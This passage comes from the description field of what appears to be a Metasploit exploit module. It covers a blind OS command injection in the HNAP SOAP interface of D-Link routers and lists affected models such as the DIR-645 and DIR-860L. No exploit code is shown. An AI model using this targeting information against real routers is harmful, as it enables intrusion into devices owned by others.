  'Description' => %q{
  Different D-Link Routers are vulnerable to OS command injection in the HNAP SOAP
  interface. Since it is a blind OS command injection vulnerability, there is no
  output for the executed command. This module has been tested on a DIR-645 device.
  The following devices are also reported as affected: DAP-1522 revB, DAP-1650 revB,
  DIR-880L, DIR-865L, DIR-860L revA, DIR-860L revB DIR-815 revB, DIR-300 revB,
  DIR-600 revB, DIR-645, TEW-751DR, TEW-733GR
